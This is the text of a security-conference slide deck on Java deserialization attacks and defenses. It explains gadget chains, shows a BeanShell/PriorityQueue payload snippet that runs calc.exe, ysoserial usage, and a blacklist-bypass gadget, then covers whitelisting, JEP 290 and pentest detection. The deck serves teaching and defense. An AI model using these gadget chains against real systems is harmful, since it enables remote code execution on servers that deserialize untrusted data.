Java Deserialization Attacks

Angriff & Verteidigung

Christian Schneider, @cschneider4711
Alvaro Muñoz, @pwntester (in Absentia)
`whoami`

- Developer, Whitehat Hacker & Trainer
- Freelancer since 1997
- Focus on JavaEE & Web Security
- Speaker at Conferences
- @cschneider4711
- www.Christian-Schneider.net
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();

How many are familiar with what this code does?

How many of you know the risks associated with deserializing untrusted data?

How many of you know how to exploit this as a remote code execution (RCE)?
Taking a snapshot of an **object graph** as a **byte stream** that can be used to reconstruct the object graph to its original state

- Only **object data** is serialized, not the code
- The code sits on the ClassPath of the (de)serializing end
Usages of Java serialization in protocols/formats/products:

- **RMI** (Remote Method Invocation)
- **JMX** (Java Management Extension)
- **JMS** (Java Messaging System)
- Spring Service Invokers
  - HTTP, JMS, RMI, etc.
- Android
- AMF (Action Message Format)
- JSF ViewState
- WebLogic T3
- LDAP Responses
- ...
Attacks via *internal* interfaces

**OWASP**
The Open Web Application Security Project

- **User**
- **Web Browser**
- **Application Server**
  - Replication
  - RMI, JMS, etc.
- **Backend Server**
- **Attacker**

Diagram showing interactions between User, Web Browser, Application Server, and Backend Server, with replication and RMI, JMS, etc. connections.
When Java serialization data is read back from client (browser) via Cookies etc.
Customization of Java Serialization

• Developers can customize this serialization/deserialization process
  – Individual object serialization  
    via `.writeObject()` / `.writeReplace()` / `.writeExternal()`
  – Individual object re-construction on deserializing end  
    via `.readObject()` / `.readResolve()` / `.readExternal()`
Triggering Execution via "Magic Methods"

**ObjectInputStream**  ** Serializable Class**  ** Application Code**  ** Garbage Collector**

1. Get bytes
2. Initialize ObjectInputStream
3. Read object from stream
   - `ois.readObject()`
4. Resolve classes of stream
   - `resolveClass()`
5. Deserialize objects
6. Restore object member fields
   - `readObject(ObjectInputStream)`
   - `readObjectNoData()`
7. Eventually replace restored object
   - `readResolve()`
8. Optionally validate object
   - `validateObject()`
9. Cast deserialized object to expected type
10. Use deserialized object
11. Call `finalize()` on GC
Serializable Class

6. Restore object member fields
   - readObject(ObjectInputStream)
   - readObjectNoData()
7. Eventually replace restored object
   - readResolve()
8. Optionally validate object
   - validateObject()
9. Cast deserialized object to expected type
10. Use deserialized object

Application Code

1. Get bytes
2. Initialize ObjectInputStream
3. Read object from stream
   - ois.readObject()

ObjectInputStream

4. Resolve classes of stream
   - resolveClass()
5. Deserialize objects

Garbage Collector

11. Call finalize() on GC
• Abusing "magic methods" of gadgets which have dangerous/risky code:
  – Attacker controls member fields’ values of serialized object
  – Upon deserialization `.readObject()` / `.readResolve()` is invoked
    • Implementation of this method in gadget class uses attacker-controlled fields ...
    • ... and is influenced in the way attacker desires... ;)

Exploiting "Magic Methods"
• Aside from the classic ones also lesser-known "magic methods" help:
  – `.validateObject()` as part of validation (which does not prevent attacks)
  – `.readObjectNoData()` upon deserialization conflicts
  – `.finalize()` as part of GC (even after errors)
    • with deferred execution bypassing ad-hoc SecurityManagers at deserialization
• Works also for Externalizable’s `.readExternal()`
public class DangerousToy implements Serializable {

    private String command;

    ...

    public final Object readObject(ObjectInputStream ois) throws OptionalDataException, ClassNotFoundException, IOException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec(command);
    }

    }


What if there is no interesting code reached by magic methods?
Proxy with InvocationHandler as Catalyzer

- Proxy
- Interface
  - method1
  - method2
- Class
  - field1
  - field2
  - ...
  - method1
  - method2
- Invocation Handler
  - Custom code
Exploiting InvocationHandler (IH) Gadgets

- **Attacker steps upon serialization:**
  - Attacker **controls member fields** of IH gadget, which **has dangerous code**
  - IH (as part of Dynamic Proxy) gets serialized by attacker **as field on which an innocuous method is called** from "magic method" (of class to deserialize)

- **Application steps upon deserialization:**
  - "Magic Method" of "Trigger Gadget" calls **innocuous method** on an **attacker controlled field**
  - This call is **intercepted by proxy** (set by attacker as field) and **dispatched to IH**

- **Other IH-like types exist aside java.lang.reflect.InvocationHandler**
  - javassist.util.proxy.MethodHandler
  - org.jboss.weld.bean.proxy.MethodHandler
public class TriggerGadget implements Serializable {
    private Comparator comp;

    public final Object readObject(ObjectInputStream ois) throws Exception {
        ois.defaultReadObject();
        comp.compare("foo", "bar");
    }
}
public class DangerousHandler implements Serializable, InvocationHandler {
    private String command;

    ...

    public Object invoke(Object proxy, Method method, Object[] args) {
        Runtime.getRuntime().exec(command);
    }
}
• `bsh.XThis$Handler`
• Serializable
• InvocationHandler
• Upon function interception, custom BeanShell code will be called
• Almost any Java code can be included in the payload
• In order to invoke the payload, a trigger gadget is needed to dispatch the execution to the InvocationHandler invoke method
String payload = "compare(Object foo, Object bar) {
    new java.lang.ProcessBuilder(new String[]\{"calc.exe\"\}).start();return 1;" +
    "};"

// Create Interpreter
Interpreter i = new Interpreter();
i.eval(payload);

// Create Proxy/InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class<?>[] { Comparator.class }, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);
Payload Generator "ysoserial"

- **ysoserial** by @frohoff & @gebl — an excellent tool!
- Command line interface (CLI)
- Generates serialized form of payload with gadget chain
- Contains many current known gadgets
  - Newer gadgets have been submitted as PRs
- *The Java Deserialization Exploitation Tool*
  - https://github.com/frohoff/ysoserial
Gadgets available in ysoserial

Usage: java -jar ysoserial.jar [payload type] [payload command to execute]

Available payload types:
BeanShell
C3P0
CommonsCollections
CommonsDBeaneutils
Groovy
FileUpload
Gson
Hibernate
Jdk7u21
Jython
Jersey
JerseyClient
JerseyListener
JSON
Jmx
Myfaces
Ojdbc6
Ojdbc7
Osiris
RMI
RMIListener
ROME
Spring
Tomcat
Vm
Weblogic
Wyse
Xstream
Y SO SERIAL
Java -jar ysoserial.jar
Gadgets available in ysoserial
Payload generation via ysoserial

```
java -jar ysoserial.jar BeanShell 'calc' | xxd
```

```
00000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.util.
0000010: 6c2e 5072 696f 7269 7479 5175 6575 6594 l.PriorityQueue.
0000020: da30 b4fb 3f82 b103 0002 4900 0473 697a .0...?.....I..siz
0000030: 6e6f 7465 6c65 6374 2e50 726f 7879 e127 eL..comparator.
0000040: 6f6e 7200 176a 6176 612e 7574 6c2f 7369 ....comparatorxr..jav
0000050: 654c 000a 636f 6d70 6172 6174 6f72 7872 ...eL..comparato
0000060: 0000 146a 6176 612e 7574 6c2f 436f 6d70 .....java.util.C
0000070: 6a61 7661 2f6c 616e 672f 7265 666c 6563 lang.reflect.P
0000080: 742f 496e 766f 6361 7469 7073 7200 ....IoInvocation.
0000090: 1162 7368 2e58 5468 6973 2448 616e 646c ..bsh.XThis$Han
```

OWASP
The Open Web Application Security Project
Mitigation Advices
Remove Gadget
Tons of Gadgets

- Spring AOP (by Wouter Coekaerts in 2011)
- First public exploit: (by @pwntester in 2013)
- Commons-fileupload (by Arun Babu Neelicattu in 2013)
- Groovy (by cpnrodzc7 / @frohoff in 2015)
- Commons-Collections (by @frohoff and @gebl in 2015)
- Spring Beans (by @frohoff and @gebl in 2015)
- Serial DoS (by Wouter Coekaerts in 2015)
- SpringTx (by @zerothinking in 2016)
- JDK7 (by @frohoff in 2016)
- Beanutils (by @frohoff in 2016)
- Hibernate, MyFaces, C3P0, net.sf.json, ROME (by M. Bechler in 2016)
- Beanshell, Jython, lots of bypasses (by @pwntester and @cschneider4711 in 2016)
- JDK7 Rhino (by @matthias_kaiser in 2016)
- ...

...
Mitigation Advice #1

Remove Gadget
AdHoc Security Manager

```java
InputStream is = request.getInputStream();
// Install Security Manager
System.setSecurityManager(new MyDeserializationSM());
// Deserialize the data
ObjectInputStream ois = new ObjectInputStream(ois);
ois.readObject();
// Uninstall (restore) Security Manager
System.setSecurityManager(null);
```

Attackers can defer execution:
- `finalize()` method
- Play with expected types (i.e return valid types for the cast which fire later)

If you can uninstall/restore the SecurityManager or refresh the policy, attackers might be able to do it as well
AdHoc Security Manager

```java
InputStream is = request.getInputStream();
// Install Security Manager
System.setSecurityManager(new MyDeserializationSM());
// Deserialize the data
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
// Uninstall (restore) Security Manager
System.setSecurityManager(null);
```

Attacks can defer execution:
• `finalize()` method
• Play with unexpected types (i.e., return valid types for the cast which fire later)

If you can uninstall/restore the SecurityManager or refresh the policy, attackers might be able to do it as well
```java
class DefensiveObjectInputStream extends ObjectInputStream {

    @Override
    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {

        String className = cls.getName();

        if (/* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) {
            throw new InvalidClassException("Unexpected serialized class", className);
        }

        return super.resolveClass(cls);
    }
}
```
• New gadget type to bypass ad-hoc look-ahead ObjectInputStream blacklist protections:

```java
public class NestedProblems implements Serializable {
    private byte[] bytes ... ;
    ...
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        ois.readObject();
    }
}
```

• During deserialization of the object graph, a new immaculate unprotected ObjectInputStream will be instantiated
• Attacker can provide any arbitrary bytes for unsafe deserialization
• Bypass does not work for cases where ObjectInputStream is instrumented
Currently we found many bypass gadgets:

<table>
<thead>
<tr>
<th>JRE:</th>
<th>2</th>
</tr>
</thead>
</table>

**Third Party Libraries**

<table>
<thead>
<tr>
<th>Library Type</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache libraries</td>
<td>6</td>
</tr>
<tr>
<td>Spring libraries</td>
<td>1</td>
</tr>
<tr>
<td>Other popular libraries</td>
<td>2</td>
</tr>
</tbody>
</table>

**Application Servers**

<table>
<thead>
<tr>
<th>Server Type</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>WildFly (JBoss)</td>
<td>2</td>
</tr>
<tr>
<td>IBM WebSphere</td>
<td>15</td>
</tr>
<tr>
<td>Oracle WebLogic</td>
<td>5</td>
</tr>
<tr>
<td>Apache TomEE</td>
<td>5</td>
</tr>
<tr>
<td>Apache Tomcat</td>
<td>2</td>
</tr>
<tr>
<td>Oracle GlassFish</td>
<td>2</td>
</tr>
</tbody>
</table>

**SerialKiller: Bypass Gadget Collection:**

https://github.com/pwntester/SerialKillerBypassGadgetCollection
javax.media.jai.remote.SerializableRenderedImage

finalize() > dispose() > closeClient()

private void closeClient() {

// Connect to the data server.
Socket socket = connectToServer();

// Get the socket output stream and wrap an object
// output stream around it.
OutputStream out = null;
ObjectOutputStream objectOut = null;
ObjectInputStream objectIn = null;
try {
    out = socket.getOutputStream();
    objectOut = new ObjectOutputStream(out);
    objectIn = new ObjectInputStream(socket.getInputStream());
} catch (IOException e) { ... }
objectIn.readObject();
...
class DefensiveObjectInputStream extends ObjectInputStream {

    @Override
    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        String className = cls.getName();
        if (/* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) {
            throw new InvalidClassException("Unexpected serialized class", className);
        }
        return super.resolveClass(cls);
    }
}
What about other languages on the JVM?
import java.io._
object SerializationDemo extends App {
   val ois = new ObjectInputStream(new FileInputStream("exploit.ser"))
   val o = ois.readObject()
   ois.close()
}

import java.io.*
File exploit = new File('exploit.ser')
try {
   def is = exploit.newObjectInputStream(this.class.classLoader)
   is.eachObject { println it }
} catch (e) { throw new Exception(e) } finally { is?.close() }

Source code: https://github.com/pwntester/JVMDeserialization
What to do then?
DO NOT DEserialize UNTRUSTED DATA!!

When architecture permits it:

– Use other formats instead of serialized objects: JSON, XML, etc.
  • But be aware of XML-based deserialization attacks via XStream, XmlDecoder, etc.

As second-best option:

Use defensive deserialization with look-ahead OIS with a strict whitelist

• Don’t rely on gadget-blacklisting alone!
• You can build the whitelist with OpenSource agent SWAT
  ( Serial Whitelist Application Trainer: https://github.com/cschneider4711/SWAT )
• Consider an agent-based instrumenting of ObjectInputStream (to catch them all)
• Scan your own whitelisted code for potential gadgets
• Still be aware of DoS scenarios
Finding Vulnerabilities & Gadgets in the Code
• Check your endpoints for those accepting (untrusted) serialized data
  • Find calls to:
    • `ObjectInputStream.readObject()`
    • `ObjectInputStream.readUnshared()`
  • ... where InputStream is attacker-controlled. For example:

    ```java
    InputStream is = request.getInputStream();
    ObjectInputStream ois = new ObjectInputStream(is);
    ois.readObject();
    ```

• ... and `ObjectInputStream` is or extends `java.io.ObjectInputStream`
  • ... but is not a safe one (eg: Commons-io ValidatingObjectInputStream)
• May happen in library code. Eg: JMS, JMX, RMI, Queues, Brokers, Spring HTTPInvokers, etc ...
• Check your code for potential gadgets, which could be used in deserialization:

Look for interesting method calls ...

```java
java.lang.reflect.Method.invoke()
java.io.File()
java.io.ObjectInputStream()
java.net.URLClassLoader()
java.net.Socket()
java.net.URL()
javax.naming.Context.lookup()
...```

... reached by:

```java
java.io.Externalizable.readExternal()
java.io.Serializable.readObject()
java.io.Serializable.readObjectNoData()
java.io.Serializable.readResolve()
java.io.ObjectInputValidation.validateObject()
java.lang.reflect.InvocationHandler.invoke()
javassist.util.proxy.MethodHandler.invoke()
org.jboss.weld.bean.proxy.MethodHandler.invoke()
java.lang.Object.finalize()
<clinit> (static initializer)
.toString(), .hashCode() and .equals()```
What to Check During Pentests?
Find requests (or any network traffic) carrying serialized Java objects:

- Easy to spot due to magic bytes at the beginning: **0xAC 0xED** ...
- Some web-apps might use Base64 to store serialized data in Cookies, etc.: **rO0AB** ...
- Be aware that compression could’ve been applied before Base64
  - **0x1F8B 0x0800** ...
  - **H4sIA** ...

For **active** scans:

- Don’t rely on specific gadget classes (might be blacklisted)
- Better use generic denial-of-service payloads and measure timing
  - SerialDOS (by Wouter Coekaerts), jInfinity (by Arshan Dabirsiaghi), OIS-DOS (by Tomáš Polešovský), etc.
Tools:

- Use commercial or free scanners like ZAP/Burp
  - with plugins such as **SuperSerial** to passively scan for Java serialization
- Also think of mass scanning of server endpoints with scripts like **SerializeKiller**
- Use **WireShark** for network traffic
- If allowed to instrument the app use runtime agents such as **SWAT** to find out if anything gets deserialized
Q & A / Thank You!

... and remember:
DO NOT DESERIALIZE UNTRUSTED DATA!

FAQ:
https://Christian-Schneider.net/JavaDeserializationSecurityFAQ.html

Whitepaper:
BACKUP
## Method Summary

<table>
<thead>
<tr>
<th>Modifier and Type</th>
<th>Method and Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>accept(Class&lt;?&gt;... classes) Accept the specified classes for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>accept(ClassNameMatcher m) Accept class names where the supplied ClassNameMatcher matches for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>accept(Pattern pattern) Accept class names that match the supplied pattern for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>accept(String... patterns) Accept the wildcard specified classes for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td><strong>Class&lt;?&gt;</strong></td>
<td>invalidClassNameFound(String className) Called to throw InvalidClassException if an invalid class name is found during deserialization.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>reject(Class&lt;?&gt;... classes) Reject the specified classes for deserialization, even if they are otherwise accepted.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>reject(ClassNameMatcher m) Reject class names where the supplied ClassNameMatcher matches for deserialization, even if they are otherwise accepted.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>reject(Pattern pattern) Reject class names that match the supplied pattern for deserialization, even if they are otherwise accepted.</td>
</tr>
<tr>
<td><strong>ValidatingObjectInputStream</strong></td>
<td>reject(String... patterns) Reject the wildcard specified classes for deserialization, even if they are otherwise accepted.</td>
</tr>
<tr>
<td><strong>Class&lt;?&gt;</strong></td>
<td>resolveClass(ObjectStreamClass osc)</td>
</tr>
</tbody>
</table>
## Method Summary

### ValidatingObjectInputStream

<table>
<thead>
<tr>
<th>Modifier and Type</th>
<th>Method and Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><code>accept(Class&lt;?... classes)</code></td>
</tr>
<tr>
<td></td>
<td>Accept the specified classes for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td></td>
<td><code>accept(ClassNameMatcher m)</code></td>
</tr>
<tr>
<td></td>
<td>Accept class names where the supplied ClassNameMatcher matches for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td></td>
<td><code>accept(Pattern pattern)</code></td>
</tr>
<tr>
<td></td>
<td>Accept class names that match the supplied pattern for deserialization, unless they are otherwise rejected.</td>
</tr>
<tr>
<td></td>
<td><code>accept(String... patterns)</code></td>
</tr>
<tr>
<td></td>
<td>Accept the wildcard specified classes for deserialization, unless they are otherwise rejected.</td>
</tr>
</tbody>
</table>

- **protected void** `invalidClassNameFound(String className)`
  - Called to throw InvalidClassException if an invalid class name is found during deserialization.

- **protected Class<?>** `resolveClass(ObjectStreamClass osc)`

---

**Whitelist Configuration**

- **Do NOT use black lists!**
**JEP 154: Remove Serialization**

**Owner** Alan Bateman  
**Created** 2012/04/01 20:00  
**Updated** 2014/07/10 20:16  
**Type** Feature  
**Status** Closed/Withdrawn  
**Component** core-libs  
**Scope** SE  
**Discussion** core dash libs dash dev at openjdk dot java dot net  
**Effort** M  
**Duration** L  
**Priority** 4  
**Endorsed by** Brian Goetz  
**Issue** 8046144

**Summary**
Deprecate, disable, and ultimately remove the Java SE Platform's serialization facility.

**Non-Goals**
It is not a goal of this proposal to introduce an alternative serialization mechanism.

**Motivation**
Developers are well aware of the myriad shortcomings of Java's serialization facility. The plan to remove it and its associated APIs in the java.io package was first announced many years ago.
JEP 290: Filter Incoming Serialization Data

Owner
Roger Riggs
Created 2016/04/22 16:06
Updated 2016/09/12 08:22
Type Feature
Status Targeted
Component core-libs/java.io:serialization
Scope SE
Discussion core dash libs dash dev at openjdk dot java dot net
Effort S
Duration S
Priority 2
Reviewed by Alan Bateman, Andrew Gross, Brian Goetz
Endorsed by Brian Goetz
Release 9
Issue 8154961

Summary
Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.
"Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application, down to a context-appropriate set of classes."

**Whitelist defensive deserialization**

"Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors."

**Denial of Service mitigation**

"Provide a mechanism for RMI-exported objects to validate the classes expected in invocations."

**Secure RMI**

"The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream."

**Backwards compatible, catch‘em all!**

"Define a global filter that can be configured by properties or a configuration file."

**Configurable**